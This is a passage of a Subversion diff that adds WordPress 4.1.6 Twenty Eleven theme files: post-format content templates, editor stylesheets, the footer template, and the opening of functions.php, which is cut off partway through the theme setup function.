+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+			<?php if ( comments_open() ) : ?>
+			<span class="sep"> | </span>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; ?>
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-page.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-page.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-page.php	(revision 33402)
@@ -0,0 +1,23 @@
+<?php
+/**
+ * Template used for displaying page content in page.php
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+	<footer class="entry-meta">
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-quote.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-quote.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-quote.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Template for displaying content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Quote', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<div class="entry-meta">
+				<?php twentyeleven_posted_on(); ?>
+			</div><!-- .entry-meta -->
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php $show_sep = false; ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+				if ( $categories_list ):
+			?>
+			<span class="cat-links">
+				<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if categories ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+				if ( $tags_list ):
+				if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+				<?php endif; // End if $show_sep ?>
+			<span class="tag-links">
+				<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if $tags_list ?>
+
+			<?php if ( comments_open() ) : ?>
+			<?php if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+			<?php endif; // End if $show_sep ?>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; // End if comments_open() ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-single.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-single.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-single.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * The template for displaying content in the single.php template
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+	<header class="entry-header">
+		<h1 class="entry-title"><?php the_title(); ?></h1>
+
+		<?php if ( 'post' == get_post_type() ) : ?>
+		<div class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+		</div><!-- .entry-meta -->
+		<?php endif; ?>
+	</header><!-- .entry-header -->
+
+	<div class="entry-content">
+		<?php the_content(); ?>
+		<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+	</div><!-- .entry-content -->
+
+	<footer class="entry-meta">
+		<?php
+			/* translators: used between list items, there is a space after the comma */
+			$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+
+			/* translators: used between list items, there is a space after the comma */
+			$tag_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+			if ( '' != $tag_list ) {
+				$utility_text = __( 'This entry was posted in %1$s and tagged %2$s by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			} elseif ( '' != $categories_list ) {
+				$utility_text = __( 'This entry was posted in %1$s by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			} else {
+				$utility_text = __( 'This entry was posted by <a href="%6$s">%5$s</a>. Bookmark the <a href="%3$s" title="Permalink to %4$s" rel="bookmark">permalink</a>.', 'twentyeleven' );
+			}
+
+			printf(
+				$utility_text,
+				$categories_list,
+				$tag_list,
+				esc_url( get_permalink() ),
+				the_title_attribute( 'echo=0' ),
+				get_the_author(),
+				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) )
+			);
+		?>
+		<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+
+		<?php if ( get_the_author_meta( 'description' ) && ( ! function_exists( 'is_multi_author' ) || is_multi_author() ) ) : // If a user has filled out their description and this is a multi-author blog, show a bio on their entries ?>
+		<div id="author-info">
+			<div id="author-avatar">
+				<?php
+				/** This filter is documented in author.php */
+				echo get_avatar( get_the_author_meta( 'user_email' ), apply_filters( 'twentyeleven_author_bio_avatar_size', 68 ) );
+				?>
+			</div><!-- #author-avatar -->
+			<div id="author-description">
+				<h2><?php printf( __( 'About %s', 'twentyeleven' ), get_the_author() ); ?></h2>
+				<?php the_author_meta( 'description' ); ?>
+				<div id="author-link">
+					<a href="<?php echo esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ); ?>" rel="author">
+						<?php printf( __( 'View all posts by %s <span class="meta-nav">&rarr;</span>', 'twentyeleven' ), get_the_author() ); ?>
+					</a>
+				</div><!-- #author-link	-->
+			</div><!-- #author-description -->
+		</div><!-- #author-info -->
+		<?php endif; ?>
+	</footer><!-- .entry-meta -->
+</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content-status.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content-status.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content-status.php	(revision 33402)
@@ -0,0 +1,61 @@
+<?php
+/**
+ * Template for displaying posts in the Status Post Format
+ *
+ * Used on index and archive pages
+ *
+ * @link http://codex.wordpress.org/Post_Formats
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<hgroup>
+				<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+				<h3 class="entry-format"><?php _e( 'Status', 'twentyeleven' ); ?></h3>
+			</hgroup>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<div class="avatar">
+				<?php
+				/**
+				 * Filter the Twenty Eleven status avatar size.
+				 *
+				 * @since Twenty Eleven 1.0
+				 *
+				 * @param int The height and width avatar dimensions in pixels. Default 65.
+				 */
+				echo get_avatar( get_the_author_meta( 'ID' ), apply_filters( 'twentyeleven_status_avatar', 65 ) );
+				?>
+			</div>
+
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php twentyeleven_posted_on(); ?>
+			<?php if ( comments_open() ) : ?>
+			<span class="sep"> | </span>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; ?>
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/content.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/content.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/content.php	(revision 33402)
@@ -0,0 +1,84 @@
+<?php
+/**
+ * Template for displaying content
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+		<header class="entry-header">
+			<?php if ( is_sticky() ) : ?>
+				<hgroup>
+					<h2 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h2>
+					<h3 class="entry-format"><?php _e( 'Featured', 'twentyeleven' ); ?></h3>
+				</hgroup>
+			<?php else : ?>
+			<h1 class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark"><?php the_title(); ?></a></h1>
+			<?php endif; ?>
+
+			<?php if ( 'post' == get_post_type() ) : ?>
+			<div class="entry-meta">
+				<?php twentyeleven_posted_on(); ?>
+			</div><!-- .entry-meta -->
+			<?php endif; ?>
+
+			<?php if ( comments_open() && ! post_password_required() ) : ?>
+			<div class="comments-link">
+				<?php comments_popup_link( '<span class="leave-reply">' . __( 'Reply', 'twentyeleven' ) . '</span>', _x( '1', 'comments number', 'twentyeleven' ), _x( '%', 'comments number', 'twentyeleven' ) ); ?>
+			</div>
+			<?php endif; ?>
+		</header><!-- .entry-header -->
+
+		<?php if ( is_search() ) : // Only display Excerpts for Search ?>
+		<div class="entry-summary">
+			<?php the_excerpt(); ?>
+		</div><!-- .entry-summary -->
+		<?php else : ?>
+		<div class="entry-content">
+			<?php the_content( __( 'Continue reading <span class="meta-nav">&rarr;</span>', 'twentyeleven' ) ); ?>
+			<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+		</div><!-- .entry-content -->
+		<?php endif; ?>
+
+		<footer class="entry-meta">
+			<?php $show_sep = false; ?>
+			<?php if ( is_object_in_taxonomy( get_post_type(), 'category' ) ) : // Hide category text when not supported ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$categories_list = get_the_category_list( __( ', ', 'twentyeleven' ) );
+				if ( $categories_list ):
+			?>
+			<span class="cat-links">
+				<?php printf( __( '<span class="%1$s">Posted in</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-cat-links', $categories_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if categories ?>
+			<?php endif; // End if is_object_in_taxonomy( get_post_type(), 'category' ) ?>
+			<?php if ( is_object_in_taxonomy( get_post_type(), 'post_tag' ) ) : // Hide tag text when not supported ?>
+			<?php
+				/* translators: used between list items, there is a space after the comma */
+				$tags_list = get_the_tag_list( '', __( ', ', 'twentyeleven' ) );
+				if ( $tags_list ):
+				if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+				<?php endif; // End if $show_sep ?>
+			<span class="tag-links">
+				<?php printf( __( '<span class="%1$s">Tagged</span> %2$s', 'twentyeleven' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list );
+				$show_sep = true; ?>
+			</span>
+			<?php endif; // End if $tags_list ?>
+			<?php endif; // End if is_object_in_taxonomy( get_post_type(), 'post_tag' ) ?>
+
+			<?php if ( comments_open() ) : ?>
+			<?php if ( $show_sep ) : ?>
+			<span class="sep"> | </span>
+			<?php endif; // End if $show_sep ?>
+			<span class="comments-link"><?php comments_popup_link( '<span class="leave-reply">' . __( 'Leave a reply', 'twentyeleven' ) . '</span>', __( '<b>1</b> Reply', 'twentyeleven' ), __( '<b>%</b> Replies', 'twentyeleven' ) ); ?></span>
+			<?php endif; // End if comments_open() ?>
+
+			<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+		</footer><!-- .entry-meta -->
+	</article><!-- #post-<?php the_ID(); ?> -->
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/editor-style-rtl.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/editor-style-rtl.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/editor-style-rtl.css	(revision 33402)
@@ -0,0 +1,24 @@
+/*
+Theme Name: Twenty Eleven
+*/
+/*
+Used to style the TinyMCE editor.
+*/
+html .mceContentBody {
+	direction: rtl;
+	unicode-bidi: embed;
+	float: right;
+	width: 584px;
+}
+* {
+	font-family: Arial, Tahoma, sans-serif;
+}
+ul, ol {
+	margin: 0 2.5em 1.625em 0;
+}
+blockquote {
+	font-style: normal;
+}
+table {
+	text-align: right;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/editor-style.css
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/editor-style.css	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/editor-style.css	(revision 33402)
@@ -0,0 +1,312 @@
+/*
+Theme Name: Twenty Eleven
+Description: Used to style the TinyMCE editor.
+*/
+
+html .mceContentBody {
+	max-width: 584px;
+}
+* {
+	color: inherit;
+	font: 15px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-style: inherit;
+	font-weight: inherit;
+	line-height: 1.625;
+}
+body {
+	color: #333;
+	font: 15px "Helvetica Neue", Helvetica, Arial, "Nimbus Sans L", sans-serif;
+	font-weight: 300;
+	line-height: 1.625;
+}
+
+/* Headings */
+h1,h2,h3,h4,h5,h6 {
+	clear: both;
+}
+h1,
+h2 {
+	color: #000;
+	font-size: 15px;
+	font-weight: bold;
+	margin: 0 0 .8125em;
+}
+h3 {
+	font-size: 10px;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+h4, h5, h6 {
+	font-size: 14px;
+	margin: 0;
+}
+hr {
+	background-color: #ccc;
+	border: 0;
+	height: 1px;
+	margin-bottom: 1.625em;
+}
+
+/* Text elements */
+p, ul, ol, dl {
+	font-weight: 300;
+}
+p {
+	margin-bottom: 1.625em;
+}
+ul, ol {
+	margin: 0 0 1.625em 2.5em;
+	padding: 0;
+}
+ul {
+	list-style: square;
+}
+ol {
+	list-style-type: decimal;
+}
+ol ol {
+	list-style: upper-alpha;
+}
+ol ol ol {
+	list-style: lower-roman;
+}
+ol ol ol ol {
+	list-style: lower-alpha;
+}
+ul ul, ol ol, ul ol, ol ul {
+	margin-bottom: 0;
+}
+dl {
+	margin: 0 1.625em;
+}
+dt {
+	font-size: 15px;
+	font-weight: bold;
+}
+dd {
+	margin: 0 0 1.625em;
+}
+strong {
+	font-weight: bold;
+}
+cite, em, i {
+	font-style: italic;
+}
+cite {
+	border: none;
+}
+big {
+	font-size: 131.25%;
+}
+.mceContentBody blockquote,
+.mceContentBody blockquote p {
+	font-family: Georgia, "Bitstream Charter", serif !important;
+	font-style: italic !important;
+	font-weight: normal;
+	margin: 0 3em;
+}
+.mceContentBody blockquote em,
+.mceContentBody blockquote i,
+.mceContentBody blockquote cite {
+	font-style: normal;
+}
+.mceContentBody blockquote cite {
+	color: #666;
+	font: 12px "Helvetica Neue", Helvetica, Arial, sans-serif;
+	font-weight: 300;
+	letter-spacing: 0.05em;
+	text-transform: uppercase;
+}
+pre {
+	background: #f4f4f4;
+	font: 13px "Courier 10 Pitch", Courier, monospace;
+	line-height: 1.5;
+	margin-bottom: 1.625em;
+	padding: 0.75em 1.625em;
+}
+code, kbd, samp, var {
+	font: 13px Monaco, Consolas, "Andale Mono", "DejaVu Sans Mono", monospace;
+}
+abbr, acronym, dfn {
+	border-bottom: 1px dotted #666;
+	cursor: help;
+}
+address {
+	display: block;
+	margin: 0 0 1.625em;
+}
+del {
+	color: #333;
+}
+ins {
+	background: #fff9c0;
+	border: none;
+	color: #333;
+	text-decoration: none;
+}
+sup,
+sub {
+	font-size: 10px;
+	height: 0;
+	line-height: 1;
+	position: relative;
+	vertical-align: baseline;
+}
+sup {
+	bottom: 1ex;
+}
+sub {
+	top: .5ex;
+}
+input[type=text],
+textarea {
+	background: #fafafa;
+	-moz-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	-webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	box-shadow: inset 0 1px 1px rgba(0,0,0,0.1);
+	border: 1px solid #ddd;
+	color: #888;
+}
+input[type=text]:focus,
+textarea:focus {
+	color: #333;
+}
+textarea {
+	padding-left: 3px;
+	width: 98%;
+}
+input[type=text] {
+	padding: 3px;
+}
+
+/* Links */
+a,
+a em,
+a strong {
+	color: #1b8be0;
+	text-decoration: none;
+}
+a:focus,
+a:active,
+a:hover {
+	text-decoration: underline;
+}
+
+/* Alignment */
+.alignleft {
+	display: inline;
+	float: left;
+	margin-right: 1.625em;
+}
+.alignright {
+	display: inline;
+	float: right;
+	margin-left: 1.625em;
+}
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+/* Tables */
+table {
+	border: none !important;
+	border-bottom: 1px solid #ddd !important;
+	border-collapse: collapse;
+	border-spacing: 0;
+	text-align: left;
+	margin: 0 0 1.625em;
+	width: 100%;
+}
+tr th {
+	border: none !important;
+	color: #666;
+	font-size: 10px;
+	font-weight: 500;
+	letter-spacing: 0.1em;
+	line-height: 2.6em;
+	text-transform: uppercase;
+}
+td {
+	border: none !important;
+	border-top: 1px solid #ddd !important;
+	padding: 6px 10px 6px 0;
+}
+
+/* Images */
+img[class*="wp-image-"] {
+	height: auto;
+	max-width: 97.5%;
+}
+img.size-full {
+	width: auto; /* Prevent stretching of full-size images in IE8 */
+}
+img.wp-smiley {
+	border: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+p img,
+.wp-caption {
+	margin-top: 0.4em;
+}
+img,
+.editor-attachment {
+	border: 1px solid #ddd;
+	padding: 6px;
+}
+img.alignleft,
+img.alignright,
+img.aligncenter {
+	margin-bottom: 1.625em;
+}
+.wp-caption {
+	background: #eee;
+	border: none;
+	margin-bottom: 1.625em;
+	max-width: 96%;
+	padding: 9px;
+}
+.wp-caption img {
+	display: block;
+	margin: 5px auto 0 !important;
+	max-width: 98%;
+	border-color: #eee;
+}
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	color: #666;
+	font-family: Georgia, serif !important;
+	font-size: 12px;
+	margin: 0 0 0.6em 0 !important;
+	padding: 0 0 5px 40px;
+	position: relative;
+	text-align: left;
+}
+.wp-caption .wp-caption-text:before {
+	color: #666;
+	content: '\2014';
+	font-size: 14px;
+	font-style: normal;
+	font-weight: bold;
+	margin-right: 5px;
+	position: absolute;
+	left: 10px;
+	top: 7px;
+}
+a:focus img[class*="wp-image-"],
+a:hover img[class*="wp-image-"],
+a:active img[class*="wp-image-"] {
+	background: #eee;
+	border-color: #bbb;
+}
+.wp-caption a:focus img,
+.wp-caption a:active img,
+.wp-caption a:hover img {
+	background: #fff;
+	border-color: #ddd;
+}
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/footer.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/footer.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/footer.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+/**
+ * Template for displaying the footer
+ *
+ * Contains the closing of the id=main div and all content after
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?>
+
+	</div><!-- #main -->
+
+	<footer id="colophon" role="contentinfo">
+
+			<?php
+				/*
+				 * A sidebar in the footer? Yep. You can can customize
+				 * your footer with three columns of widgets.
+				 */
+				if ( ! is_404() )
+					get_sidebar( 'footer' );
+			?>
+
+			<div id="site-generator">
+				<?php do_action( 'twentyeleven_credits' ); ?>
+				<a href="<?php echo esc_url( __( 'http://wordpress.org/', 'twentyeleven' ) ); ?>" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentyeleven' ); ?>"><?php printf( __( 'Proudly powered by %s', 'twentyeleven' ), 'WordPress' ); ?></a>
+			</div>
+	</footer><!-- #colophon -->
+</div><!-- #page -->
+
+<?php wp_footer(); ?>
+
+</body>
+</html>
Index: /tags/4.1.6/src/wp-content/themes/twentyeleven/functions.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentyeleven/functions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentyeleven/functions.php	(revision 33402)
@@ -0,0 +1,742 @@
+<?php
+/**
+ * Twenty Eleven functions and definitions
+ *
+ * Sets up the theme and provides some helper functions. Some helper functions
+ * are used in the theme as custom template tags. Others are attached to action and
+ * filter hooks in WordPress to change core functionality.
+ *
+ * The first function, twentyeleven_setup(), sets up the theme by registering support
+ * for various features in WordPress, such as post thumbnails, navigation menus, and the like.
+ *
+ * When using a child theme (see http://codex.wordpress.org/Theme_Development and
+ * http://codex.wordpress.org/Child_Themes), you can override certain functions
+ * (those wrapped in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before the parent
+ * theme's file, so the child theme functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
+ * to a filter or action hook. The hook can be removed by using remove_action() or
+ * remove_filter() and you can attach your own function to the hook.
+ *
+ * We can remove the parent theme's hook only after it is attached, which means we need to
+ * wait until setting up the child theme:
+ *
+ * <code>
+ * add_action( 'after_setup_theme', 'my_child_theme_setup' );
+ * function my_child_theme_setup() {
+ *     // We are providing our own filter for excerpt_length (or using the unfiltered value)
+ *     remove_filter( 'excerpt_length', 'twentyeleven_excerpt_length' );
+ *     ...
+ * }
+ * </code>
+ *
+ * For more information on hooks, actions, and filters, see http://codex.wordpress.org/Plugin_API.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+// Set the content width based on the theme's design and stylesheet.
+if ( ! isset( $content_width ) )
+	$content_width = 584;
+
+/*
+ * Tell WordPress to run twentyeleven_setup() when the 'after_setup_theme' hook is run.
+ */
+add_action( 'after_setup_theme', 'twentyeleven_setup' );
+
+if ( ! function_exists( 'twentyeleven_setup' ) ):
+/**
+ * Set up theme defaults and registers support for various WordPress features.
+ *
+ * Note that this function is hooked into the after_setup_theme hook, which runs
+ * before the init hook. The init hook is too late for some features, such as indicating
+ * support post thumbnails.
+ *
+ * To override twentyeleven_setup() in a child theme, add your own twentyeleven_setup to your child theme's
+ * functions.php file.
+ *
+ * @uses load_theme_textdomain()    For translation/localization support.
+ * @uses add_editor_style()         To style the visual editor.
+ * @uses add_theme_support()        To add support for post thumbnails, automatic feed links, custom headers
+ * 	                                and backgrounds, and post formats.
+ * @uses register_nav_menus()       To add support for navigation menus.
+ * @uses register_default_headers() To register the default custom header images provided with the theme.
+ * @uses set_post_thumbnail_size()  To set a custom post thumbnail size.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_setup() {
+
+	/*
+	 * Make Twenty Eleven available for translation.
+	 * Translations can be added to the /languages/ directory.
+	 * If you're building a theme based on Twenty Eleven, use
+	 * a find and replace to change 'twentyeleven' to the name
+	 * of your theme in all the template files.
+	 */
+	load_theme_textdomain( 'twentyeleven', get_template_directory() . '/languages' );
+
+	// This theme styles the visual editor with editor-style.css to match the theme style.
+	add_editor_style();
+
+	// Load up our theme options page and related code.
+	require( get_template_directory() . '/inc/theme-options.php' );
+
+	// Grab Twenty Eleven's Ephemera widget.
+	require( get_template_directory() . '/inc/widgets.php' );
+
+	// Add default posts and comments RSS feed links to <head>.
+	add_theme_support( 'automatic-feed-links' );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menu( 'primary', __( 'Primary Menu', 'twentyeleven' ) );
+
+	// Add support for a variety of post formats
+	add_theme_support( 'post-formats', array( 'aside', 'link', 'gallery', 'status', 'quote', 'image' ) );
+
+	$theme_options = twentyeleven_get_theme_options();
+	if ( 'dark' == $theme_options['color_scheme'] )
+		$default_background_color = '1d1d1d';
+	else
+		$default_background_color = 'e2e2e2';
+
+	// Add support for custom backgrounds.
+	add_theme_support( 'custom-background', array(
+		/*
+		 * Let WordPress know what our default background color is.
+		 * This is dependent on our current color scheme.
+		 */
+		'default-color' => $default_background_color,
+	) );
+
+	// This theme uses Featured Images (also known as post thumbnails) for per-post/per-page Custom Header images
+	add_theme_support( 'post-thumbnails' );
+
+	// Add support for custom headers.
+	$custom_header_support = array(
+		// The default header text color.
+		'default-text-color' => '000',
+		// The height and width of our custom header.
+		/**
+		 * Filter the Twenty Eleven default header image width.
+		 *
+		 * @since Twenty Eleven 1.0
+		 *
+		 * @param int The default header image width in pixels. Default 1000.
+		 */
+		'width' => apply_filters( 'twentyeleven_header_image_width', 1000 ),
+		/**
+		 * Filter the Twenty Eleven default header image height.
+		 *
+		 * @since Twenty Eleven 1.0
+		 *
+		 * @param int The default header image height in pixels. Default 288.
+		 */
+		'height' => apply_filters( 'twentyeleven_header_image_height', 288 ),
+		// Support flexible heights.
+		'flex-height' => true,
+		// Random image rotation by default.
+		'random-default' => true,
+		// Callback for styling the header.
+		'wp-head-callback' => 'twentyeleven_header_style',
+		// Callback for styling the header preview in the admin.
+		'admin-head-callback' => 'twentyeleven_admin_header_style',
+		// Callback used to display the header preview in the admin.
+		'admin-preview-callback' => 'twentyeleven_admin_header_image',
+	);
+
+	add_theme_support( 'custom-header', $custom_header_support );
+
+	if ( ! function_exists( 'get_custom_header' ) ) {
+		// This is all for compatibility with versions of WordPress prior to 3.4.
+		define( 'HEADER_TEXTCOLOR', $custom_header_support['default-text-color'] );
+		define( 'HEADER_IMAGE', '' );
